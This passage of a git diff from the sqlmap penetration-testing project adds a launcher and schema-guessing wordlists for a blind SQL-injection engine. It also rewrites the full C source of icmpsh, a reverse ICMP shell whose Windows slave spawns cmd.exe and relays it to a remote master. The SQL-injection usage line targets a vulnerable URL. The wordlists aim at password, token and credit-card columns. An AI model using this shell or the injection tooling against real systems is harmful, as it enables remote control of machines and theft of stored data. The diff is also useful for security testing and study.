self.catalog) + + +class QueryBudgetExceeded(OracleUndecided): + """The configured hard oracle-call budget was exhausted mid-operation.""" diff --git a/extra/esperanto/run.py b/extra/esperanto/run.py new file mode 100644 index 00000000000..c91ee08a0d1 --- /dev/null +++ b/extra/esperanto/run.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Standalone launcher for the DBMS-agnostic Esperanto engine. Run it straight from this +directory - no sqlmap, no PYTHONPATH, no `-m` incantation: + + python run.py -u 'http://host/vuln?id=1*' --string --tables --dump -T users + python run.py --self-test + python run.py --live # local DBMS dev harness + +The package is fully self-contained (bundled wordlists, no sqlmap imports in the engine), +so the whole directory can be copied elsewhere and still run. sqlmap uses the very same +package via `from extra.esperanto import buildHandler`, handing the engine its own boolean +oracle (checkBooleanExpression); this launcher is only for standalone use. +""" + +import importlib +import os +import sys + +# make this package importable by its own (folder) name from any working directory, so +# the relative imports inside resolve, then hand off to the CLI in __main__ +_HERE = os.path.dirname(os.path.abspath(__file__)) +sys.path.insert(0, os.path.dirname(_HERE)) +main = importlib.import_module("%s.__main__" % os.path.basename(_HERE)).main + +if __name__ == "__main__": + sys.exit(main()) diff --git a/extra/esperanto/wordlist.py b/extra/esperanto/wordlist.py new file mode 100644 index 00000000000..37845cfecfa --- /dev/null +++ b/extra/esperanto/wordlist.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Common table/column names for the brute-force fallback used when the system catalog +is unreadable or unknown (permission wall, exotic/Frankenstein engine, CTF). This is +the "know nothing about the schema, guess the usual names" path - the equivalent of +sqlmap's --common-tables / --common-columns. sqlmap's own (much larger) wordlists are +preferred when this package runs inside the repo; the bundled curated lists below are +the self-contained fallback so the standalone CLI works with no external files. +""" + +import os + + +# curated, most-common first; kept deliberately small so brute-forcing stays practical +# over a slow blind oracle (sqlmap's full lists are used instead when available) +_BUNDLED_TABLES = ( + "users", "user", "admin", "administrator", "accounts", "account", "members", + "member", "customers", "customer", "clients", "client", "people", "persons", + "employees", "staff", "contacts", "profiles", "profile", "sessions", "session", + "orders", "order", "products", "product", "items", "item", "categories", + "category", "cart", "carts", "invoices", "payments", "transactions", "coupons", + "rates", "reviews", "ratings", "inventory", "stock", "shipping", "posts", "post", + "articles", "pages", "page", "comments", "messages", "message", "news", "blog", + "blogs", "tags", "notifications", "subscriptions", "feedback", "files", "file", + "uploads", "images", "documents", "media", "config", "configuration", "settings", + "setting", "options", "preferences", "roles", "role", "permissions", "groups", + "group", "tokens", "token", "secrets", "secret", "credentials", "passwords", + "keys", "apikeys", "api_keys", "cards", "creditcards", "credit_cards", "logs", + "log", "events", "event", "audit", "audit_log", "history", "activity", "data", + "records", "metadata", "backup", "backups", "temp", "tmp", "test", "flags", +) + + +_BUNDLED_COLUMNS = ( + "id", "uid", "user_id", "userid", "guid", "name", "username", "uname", "user", + "login", "handle", "nick", "nickname", "pass", "passwd", "password", "pwd", + "pass_hash", "password_hash", "hash", "salt", "email", "mail", "e_mail", + "first_name", "firstname", "fname", "last_name", "lastname", "lname", "fullname", + "full_name", "surname", "display_name", "phone", "mobile", "tel", "address", + "addr", "street", "city", "country", "state", "zip", "zipcode", "postcode", + "dob", "birthdate", "age", "gender", "sex", "role", "roles", "is_admin", "admin", + "level", "active", "is_active", "enabled", "disabled", "banned", "status", + "verified", "created", "created_at", "created_on", "updated", "updated_at", + "modified", "deleted", "deleted_at", "last_login", "timestamp", "date", "time", + "token", "api_key", "apikey", "session", "secret", "key", "value", "data", + "content", "body", "text", "title", "subject", "description", "comment", "note", + "notes", "message", "url", "link", "ip", "ip_address", "useragent", "referer", + "cc", "card", "creditcard", "credit_card", "card_number", "cvv", "cvc", "expiry", + "amount", "price", "cost", "total", "balance", "quantity", "qty", "count", "code", + "type", "category", "tag", "slug", "flag", "flags", "extra", "meta", "settings", +) + + +def _fromFile(fname): + # sqlmap's own wordlist when this runs inside the repo (data/txt/). + # located relative to this file: extra/esperanto/ -> ../../data/txt/ + path = os.path.join(os.path.dirname(__file__), "..", "..", "data", "txt", fname) + try: + with open(path) as fh: + names = [line.strip() for line in fh if line.strip() and not line.startswith("#")] + return names or None + except (IOError, OSError): + return None + + +def commonTables(): + """Candidate table names, most-common first. sqlmap's list if present, else bundled.""" + return _fromFile("common-tables.txt") or list(_BUNDLED_TABLES) + + +def commonColumns(): + """Candidate column names, most-common first. sqlmap's list if present, else bundled.""" + return _fromFile("common-columns.txt") or list(_BUNDLED_COLUMNS) diff --git a/extra/icmpsh/README.txt b/extra/icmpsh/README.txt index 631f9ee377f..d09e83b8552 100644 --- a/extra/icmpsh/README.txt +++ b/extra/icmpsh/README.txt @@ -1,45 +1,45 @@ -icmpsh - simple reverse ICMP shell - -icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl. - - ---- Running the Master --- - -The master is straight forward to use. There are no extra libraries required for the C version. -The Perl master however has the following dependencies: - - * IO::Socket - * NetPacket::IP - * NetPacket::ICMP - - -When running the master, don't forget to disable ICMP replies by the OS. For example: - - sysctl -w net.ipv4.icmp_echo_ignore_all=1 - -If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive -commands send from the master. - - ---- Running the Slave --- - -The slave comes with a few command line options as outlined below: - - --t host host ip address to send ping requests to. This option is mandatory! - --r send a single test icmp request containing the string "Test1234" and then quit. - This is for testing the connection. - --d milliseconds delay between requests in milliseconds - --o milliseconds timeout of responses in milliseconds. If a response has not received in time, - the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit. - The counter is set back to 0 if a response was received. - --b num limit of blanks (unanswered icmp requests before quitting - --s bytes maximal data buffer size in bytes - - -In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer. +icmpsh - simple reverse ICMP shell + +icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl. + + +--- Running the Master --- + +The master is straight forward to use. There are no extra libraries required for the C version. +The Perl master however has the following dependencies: + + * IO::Socket + * NetPacket::IP + * NetPacket::ICMP + + +When running the master, don't forget to disable ICMP replies by the OS. For example: + + sysctl -w net.ipv4.icmp_echo_ignore_all=1 + +If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive +commands send from the master. + + +--- Running the Slave --- + +The slave comes with a few command line options as outlined below: + + +-t host host ip address to send ping requests to. This option is mandatory! + +-r send a single test icmp request containing the string "Test1234" and then quit. + This is for testing the connection. + +-d milliseconds delay between requests in milliseconds + +-o milliseconds timeout of responses in milliseconds. If a response has not received in time, + the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit. + The counter is set back to 0 if a response was received. + +-b num limit of blanks (unanswered icmp requests before quitting + +-s bytes maximal data buffer size in bytes + + +In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer. diff --git a/extra/icmpsh/icmpsh-m.c b/extra/icmpsh/icmpsh-m.c index 32c3edb7429..95deb603bc0 100644 --- a/extra/icmpsh/icmpsh-m.c +++ b/extra/icmpsh/icmpsh-m.c @@ -1,134 +1,134 @@ -/* - * icmpsh - simple icmp command shell - * Copyright (c) 2010, Nico Leidecker - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define IN_BUF_SIZE 1024 -#define OUT_BUF_SIZE 64 - -// calculate checksum -unsigned short checksum(unsigned short *ptr, int nbytes) -{ - unsigned long sum; - unsigned short oddbyte, rs; - - sum = 0; - while(nbytes > 1) { - sum += *ptr++; - nbytes -= 2; - } - - if(nbytes == 1) { - oddbyte = 0; - *((unsigned char *) &oddbyte) = *(u_char *)ptr; - sum += oddbyte; - } - - sum = (sum >> 16) + (sum & 0xffff); - sum += (sum >> 16); - rs = ~sum; - return rs; -} - -int main(int argc, char **argv) -{ - int sockfd; - int flags; - char in_buf[IN_BUF_SIZE]; - char out_buf[OUT_BUF_SIZE]; - unsigned int out_size; - int nbytes; - struct iphdr *ip; - struct icmphdr *icmp; - char *data; - struct sockaddr_in addr; - - - printf("icmpsh - master\n"); - - // create raw ICMP socket - sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); - if (sockfd == -1) { - perror("socket"); - return -1; - } - - // set stdin to non-blocking - flags = fcntl(0, F_GETFL, 0); - flags |= O_NONBLOCK; - fcntl(0, F_SETFL, flags); - - printf("running...\n"); - while(1) { - - // read data from socket - memset(in_buf, 0x00, IN_BUF_SIZE); - nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); - if (nbytes > 0) { - // get ip and icmp header and data part - ip = (struct iphdr *) in_buf; - if (nbytes > sizeof(struct iphdr)) { - nbytes -= sizeof(struct iphdr); - icmp = (struct icmphdr *) (ip + 1); - if (nbytes > sizeof(struct icmphdr)) { - nbytes -= sizeof(struct icmphdr); - data = (char *) (icmp + 1); - data[nbytes] = '\0'; - printf("%s", data); - fflush(stdout); - } - - // reuse headers - icmp->type = 0; - addr.sin_family = AF_INET; - addr.sin_addr.s_addr = ip->saddr; - - // read data from stdin - nbytes = read(0, out_buf, OUT_BUF_SIZE); - if (nbytes > -1) { - memcpy((char *) (icmp + 1), out_buf, nbytes); - out_size = nbytes; - } else { - out_size = 0; - } - - icmp->checksum = 0x00; - icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); - - // send reply - nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); - if (nbytes == -1) { - perror("sendto"); - return -1; - } - } - } - } - - return 0; -} - +/* + * icmpsh - simple icmp command shell + * Copyright (c) 2010, Nico Leidecker + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define IN_BUF_SIZE 1024 +#define OUT_BUF_SIZE 64 + +// calculate checksum +unsigned short checksum(unsigned short *ptr, int nbytes) +{ + unsigned long sum; + unsigned short oddbyte, rs; + + sum = 0; + while(nbytes > 1) { + sum += *ptr++; + nbytes -= 2; + } + + if(nbytes == 1) { + oddbyte = 0; + *((unsigned char *) &oddbyte) = *(u_char *)ptr; + sum += oddbyte; + } + + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + rs = ~sum; + return rs; +} + +int main(int argc, char **argv) +{ + int sockfd; + int flags; + char in_buf[IN_BUF_SIZE]; + char out_buf[OUT_BUF_SIZE]; + unsigned int out_size; + int nbytes; + struct iphdr *ip; + struct icmphdr *icmp; + char *data; + struct sockaddr_in addr; + + + printf("icmpsh - master\n"); + + // create raw ICMP socket + sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); + if (sockfd == -1) { + perror("socket"); + return -1; + } + + // set stdin to non-blocking + flags = fcntl(0, F_GETFL, 0); + flags |= O_NONBLOCK; + fcntl(0, F_SETFL, flags); + + printf("running...\n"); + while(1) { + + // read data from socket + memset(in_buf, 0x00, IN_BUF_SIZE); + nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); + if (nbytes > 0) { + // get ip and icmp header and data part + ip = (struct iphdr *) in_buf; + if (nbytes > sizeof(struct iphdr)) { + nbytes -= sizeof(struct iphdr); + icmp = (struct icmphdr *) (ip + 1); + if (nbytes > sizeof(struct icmphdr)) { + nbytes -= sizeof(struct icmphdr); + data = (char *) (icmp + 1); + data[nbytes] = '\0'; + printf("%s", data); + fflush(stdout); + } + + // reuse headers + icmp->type = 0; + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = ip->saddr; + + // read data from stdin + nbytes = read(0, out_buf, OUT_BUF_SIZE); + if (nbytes > -1) { + memcpy((char *) (icmp + 1), out_buf, nbytes); + out_size = nbytes; + } else { + out_size = 0; + } + + icmp->checksum = 0x00; + icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); + + // send reply + nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); + if (nbytes == -1) { + perror("sendto"); + return -1; + } + } + } + } + + return 0; +} + diff --git a/extra/icmpsh/icmpsh-m.pl b/extra/icmpsh/icmpsh-m.pl old mode 100755 new mode 100644 diff --git a/extra/icmpsh/icmpsh-s.c b/extra/icmpsh/icmpsh-s.c index 5c127d84320..c108509774d 100644 --- a/extra/icmpsh/icmpsh-s.c +++ b/extra/icmpsh/icmpsh-s.c @@ -1,346 +1,344 @@ -/* - * icmpsh - simple icmp command shell - * Copyright (c) 2010, Nico Leidecker - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - -#include -#include -#include -#include -#include -#include - -#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8) - -#define STATUS_OK 0 -#define STATUS_SINGLE 1 -#define STATUS_PROCESS_NOT_CREATED 2 - -#define TRANSFER_SUCCESS 1 -#define TRANSFER_FAILURE 0 - -#define DEFAULT_TIMEOUT 3000 -#define DEFAULT_DELAY 200 -#define DEFAULT_MAX_BLANKS 10 -#define DEFAULT_MAX_DATA_SIZE 64 - -FARPROC icmp_create, icmp_send, to_ip; - -int verbose = 0; - -int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) -{ - SECURITY_ATTRIBUTES sattr; - STARTUPINFOA si; - HANDLE in_read, out_write; - - memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES)); - memset(pi, 0x00, sizeof(PROCESS_INFORMATION)); - - // create communication pipes - memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES)); - sattr.nLength = sizeof(SECURITY_ATTRIBUTES); - sattr.bInheritHandle = TRUE; - sattr.lpSecurityDescriptor = NULL; - - if (!CreatePipe(out_read, &out_write, &sattr, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - - if (!CreatePipe(&in_read, in_write, &sattr, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - - // spawn process - memset(&si, 0x00, sizeof(STARTUPINFO)); - si.cb = sizeof(STARTUPINFO); - si.hStdError = out_write; - si.hStdOutput = out_write; - si.hStdInput = in_read; - si.dwFlags |= STARTF_USESTDHANDLES; - - if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { - return STATUS_PROCESS_NOT_CREATED; - } - - CloseHandle(out_write); - CloseHandle(in_read); - - return STATUS_OK; -} - -void usage(char *path) -{ - printf("%s [options] -t target\n", path); - printf("options:\n"); - printf(" -t host host ip address to send ping requests to\n"); - printf(" -r send a single test icmp request and then quit\n"); - printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY); - printf(" -o milliseconds timeout in milliseconds\n"); - printf(" -h this screen\n"); - printf(" -b num maximal number of blanks (unanswered icmp requests)\n"); - printf(" before quitting\n"); - printf(" -s bytes maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE); - printf("In order to improve the speed, lower the delay (-d) between requests or\n"); - printf("increase the size (-s) of the data buffer\n"); -} - -void create_icmp_channel(HANDLE *icmp_chan) -{ - // create icmp file - *icmp_chan = (HANDLE) icmp_create(); -} - -int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout) -{ - int rs; - char *temp_in_buf; - int nbytes; - - PICMP_ECHO_REPLY echo_reply; - - temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); - if (!temp_in_buf) { - return TRANSFER_FAILURE; - } - - // send data to remote host - rs = icmp_send( - icmp_chan, - target, - out_buf, - out_buf_size, - NULL, - temp_in_buf, - max_in_data_size + ICMP_HEADERS_SIZE, - timeout); - - // check received data - if (rs > 0) { - echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; - if (echo_reply->DataSize > max_in_data_size) { - nbytes = max_in_data_size; - } else { - nbytes = echo_reply->DataSize; - } - memcpy(in_buf, echo_reply->Data, nbytes); - *in_buf_size = nbytes; - - free(temp_in_buf); - return TRANSFER_SUCCESS; - } - - free(temp_in_buf); - - return TRANSFER_FAILURE; -} - -int load_deps() -{ - HMODULE lib; - - lib = LoadLibraryA("ws2_32.dll"); - if (lib != NULL) { - to_ip = GetProcAddress(lib, "inet_addr"); - if (!to_ip) { - return 0; - } - } - - lib = LoadLibraryA("iphlpapi.dll"); - if (lib != NULL) { - icmp_create = GetProcAddress(lib, "IcmpCreateFile"); - icmp_send = GetProcAddress(lib, "IcmpSendEcho"); - if (icmp_create && icmp_send) { - return 1; - } - } - - lib = LoadLibraryA("ICMP.DLL"); - if (lib != NULL) { - icmp_create = GetProcAddress(lib, "IcmpCreateFile"); - icmp_send = GetProcAddress(lib, "IcmpSendEcho"); - if (icmp_create && icmp_send) { - return 1; - } - } - - printf("failed to load functions (%u)", GetLastError()); - - return 0; -} -int main(int argc, char **argv) -{ - int opt; - char *target; - unsigned int delay, timeout; - unsigned int ip_addr; - HANDLE pipe_read, pipe_write; - HANDLE icmp_chan; - unsigned char *in_buf, *out_buf; - unsigned int in_buf_size, out_buf_size; - DWORD rs; - int blanks, max_blanks; - PROCESS_INFORMATION pi; - int status; - unsigned int max_data_size; - struct hostent *he; - - - // set defaults - target = 0; - timeout = DEFAULT_TIMEOUT; - delay = DEFAULT_DELAY; - max_blanks = DEFAULT_MAX_BLANKS; - max_data_size = DEFAULT_MAX_DATA_SIZE; - - status = STATUS_OK; - if (!load_deps()) { - printf("failed to load ICMP library\n"); - return -1; - } - - // parse command line options - for (opt = 1; opt < argc; opt++) { - if (argv[opt][0] == '-') { - switch(argv[opt][1]) { - case 'h': - usage(*argv); - return 0; - case 't': - if (opt + 1 < argc) { - target = argv[opt + 1]; - } - break; - case 'd': - if (opt + 1 < argc) { - delay = atol(argv[opt + 1]); - } - break; - case 'o': - if (opt + 1 < argc) { - timeout = atol(argv[opt + 1]); - } - break; - case 'r': - status = STATUS_SINGLE; - break; - case 'b': - if (opt + 1 < argc) { - max_blanks = atol(argv[opt + 1]); - } - break; - case 's': - if (opt + 1 < argc) { - max_data_size = atol(argv[opt + 1]); - } - break; - default: - printf("unrecognized option -%c\n", argv[1][0]); - usage(*argv); - return -1; - } - } - } - - if (!target) { - printf("you need to specify a host with -t. Try -h for more options\n"); - return -1; - } - ip_addr = to_ip(target); - - // don't spawn a shell if we're only sending a single test request - if (status != STATUS_SINGLE) { - status = spawn_shell(&pi, &pipe_read, &pipe_write); - } - - // create icmp channel - create_icmp_channel(&icmp_chan); - if (icmp_chan == INVALID_HANDLE_VALUE) { - printf("unable to create ICMP file: %u\n", GetLastError()); - return -1; - } - - // allocate transfer buffers - in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); - out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); - if (!in_buf || !out_buf) { - printf("failed to allocate memory for transfer buffers\n"); - return -1; - } - memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); - memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); - - // sending/receiving loop - blanks = 0; - do { - - switch(status) { - case STATUS_SINGLE: - // reply with a static string - out_buf_size = sprintf(out_buf, "Test1234\n"); - break; - case STATUS_PROCESS_NOT_CREATED: - // reply with error message - out_buf_size = sprintf(out_buf, "Process was not created\n"); - break; - default: - // read data from process via pipe - out_buf_size = 0; - if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { - if (out_buf_size > 0) { - out_buf_size = 0; - rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); - if (!rs && GetLastError() != ERROR_IO_PENDING) { - out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError()); - } - } - } else { - out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError()); - } - break; - } - - // send request/receive response - if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { - if (status == STATUS_OK) { - // write data from response back into pipe - WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); - } - blanks = 0; - } else { - // no reply received or error occured - blanks++; - } - - // wait between requests - Sleep(delay); - - } while (status == STATUS_OK && blanks < max_blanks); - - if (status == STATUS_OK) { - TerminateProcess(pi.hProcess, 0); - } - - return 0; -} - +/* + * icmpsh - simple icmp command shell + * Copyright (c) 2010, Nico Leidecker + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + + +#include +#include +#include +#include +#include +#include + +#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8) + +#define STATUS_OK 0 +#define STATUS_SINGLE 1 +#define STATUS_PROCESS_NOT_CREATED 2 + +#define TRANSFER_SUCCESS 1 +#define TRANSFER_FAILURE 0 + +#define DEFAULT_TIMEOUT 3000 +#define DEFAULT_DELAY 200 +#define DEFAULT_MAX_BLANKS 10 +#define DEFAULT_MAX_DATA_SIZE 64 + +FARPROC icmp_create, icmp_send, to_ip; + +int verbose = 0; + +int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) +{ + SECURITY_ATTRIBUTES sattr; + STARTUPINFOA si; + HANDLE in_read, out_write; + + memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES)); + memset(pi, 0x00, sizeof(PROCESS_INFORMATION)); + + // create communication pipes + memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES)); + sattr.nLength = sizeof(SECURITY_ATTRIBUTES); + sattr.bInheritHandle = TRUE; + sattr.lpSecurityDescriptor = NULL; + + if (!CreatePipe(out_read, &out_write, &sattr, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + + if (!CreatePipe(&in_read, in_write, &sattr, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + + // spawn process + memset(&si, 0x00, sizeof(STARTUPINFO)); + si.cb = sizeof(STARTUPINFO); + si.hStdError = out_write; + si.hStdOutput = out_write; + si.hStdInput = in_read; + si.dwFlags |= STARTF_USESTDHANDLES; + + if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { + return STATUS_PROCESS_NOT_CREATED; + } + + CloseHandle(out_write); + CloseHandle(in_read); + + return STATUS_OK; +} + +void usage(char *path) +{ + printf("%s [options] -t target\n", path); + printf("options:\n"); + printf(" -t host host ip address to send ping requests to\n"); + printf(" -r send a single test icmp request and then quit\n"); + printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY); + printf(" -o milliseconds timeout in milliseconds\n"); + printf(" -h this screen\n"); + printf(" -b num maximal number of blanks (unanswered icmp requests)\n"); + printf(" before quitting\n"); + printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE); + printf("In order to improve the speed, lower the delay (-d) between requests or\n"); + printf("increase the size (-s) of the data buffer\n"); +} + +void create_icmp_channel(HANDLE *icmp_chan) +{ + // create icmp file + *icmp_chan = (HANDLE) icmp_create(); +} + +int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout) +{ + int rs; + char *temp_in_buf; + int nbytes; + + PICMP_ECHO_REPLY echo_reply; + + temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); + if (!temp_in_buf) { + return TRANSFER_FAILURE; + } + + // send data to remote host + rs = icmp_send( + icmp_chan, + target, + out_buf, + out_buf_size, + NULL, + temp_in_buf, + max_in_data_size + ICMP_HEADERS_SIZE, + timeout); + + // check received data + if (rs > 0) { + echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; + if (echo_reply->DataSize > max_in_data_size) { + nbytes = max_in_data_size; + } else { + nbytes = echo_reply->DataSize; + } + memcpy(in_buf, echo_reply->Data, nbytes); + *in_buf_size = nbytes; + + free(temp_in_buf); + return TRANSFER_SUCCESS; + } + + free(temp_in_buf); + + return TRANSFER_FAILURE; +} + +int load_deps() +{ + HMODULE lib; + + lib = LoadLibraryA("ws2_32.dll"); + if (lib != NULL) { + to_ip = GetProcAddress(lib, "inet_addr"); + if (!to_ip) { + return 0; + } + } + + lib = LoadLibraryA("iphlpapi.dll"); + if (lib != NULL) { + icmp_create = GetProcAddress(lib, "IcmpCreateFile"); + icmp_send = GetProcAddress(lib, "IcmpSendEcho"); + if (icmp_create && icmp_send) { + return 1; + } + } + + lib = LoadLibraryA("ICMP.DLL"); + if (lib != NULL) { + icmp_create = GetProcAddress(lib, "IcmpCreateFile"); + icmp_send = GetProcAddress(lib, "IcmpSendEcho"); + if (icmp_create && icmp_send) { + return 1; + } + } + + printf("failed to load functions (%u)", GetLastError()); + + return 0; +} +int main(int argc, char **argv) +{ + int opt; + char *target; + unsigned int delay, timeout; + unsigned int ip_addr; + HANDLE pipe_read, pipe_write; + HANDLE icmp_chan; + unsigned char *in_buf, *out_buf; + unsigned int in_buf_size, out_buf_size; + DWORD rs; + int blanks, max_blanks; + PROCESS_INFORMATION pi; + int status; + unsigned int max_data_size; + + // set defaults + target = 0; + timeout = DEFAULT_TIMEOUT; + delay = DEFAULT_DELAY; + max_blanks = DEFAULT_MAX_BLANKS; + max_data_size = DEFAULT_MAX_DATA_SIZE; + + status = STATUS_OK; + if (!load_deps()) { + printf("failed to load ICMP library\n"); + return -1; + } + + // parse command line options + for (opt = 1; opt < argc; opt++) { + if (argv[opt][0] == '-') { + switch(argv[opt][1]) { + case 'h': + usage(*argv); + return 0; + case 't': + if (opt + 1 < argc) { + target = argv[opt + 1]; + } + break; + case 'd': + if (opt + 1 < argc) { + delay = atol(argv[opt + 1]); + } + break; + case 'o': + if (opt + 1 < argc) { + timeout = atol(argv[opt + 1]); + } + break; + case 'r': + status = STATUS_SINGLE; + break; + case 'b': + if (opt + 1 < argc) { + max_blanks = atol(argv[opt + 1]); + } + break; + case 's': + if (opt + 1 < argc) { + max_data_size = atol(argv[opt + 1]); + } + break; + default: + printf("unrecognized option -%c\n", argv[1][0]); + usage(*argv); + return -1; + } + } + } + + if (!target) { + printf("you need to specify a host with -t. Try -h for more options\n"); + return -1; + } + ip_addr = to_ip(target); + + // don't spawn a shell if we're only sending a single test request + if (status != STATUS_SINGLE) { + status = spawn_shell(&pi, &pipe_read, &pipe_write); + } + + // create icmp channel + create_icmp_channel(&icmp_chan); + if (icmp_chan == INVALID_HANDLE_VALUE) { + printf("unable to create ICMP file: %u\n", GetLastError()); + return -1; + } + + // allocate transfer buffers + in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); + out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); + if (!in_buf || !out_buf) { + printf("failed to allocate memory for transfer buffers\n"); + return -1; + } + memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); + memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); + + // sending/receiving loop + blanks = 0; + do { + + switch(status) { + case STATUS_SINGLE: + // reply with a static string + out_buf_size = sprintf(out_buf, "Test1234\n"); + break; + case STATUS_PROCESS_NOT_CREATED: + // reply with error message + out_buf_size = sprintf(out_buf, "Process was not created\n"); + break; + default: + // read data from process via pipe + out_buf_size = 0; + if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { + if (out_buf_size > 0) { + out_buf_size = 0; + rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); + if (!rs && GetLastError() != ERROR_IO_PENDING) { + out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError()); + } + } + } else { + out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe 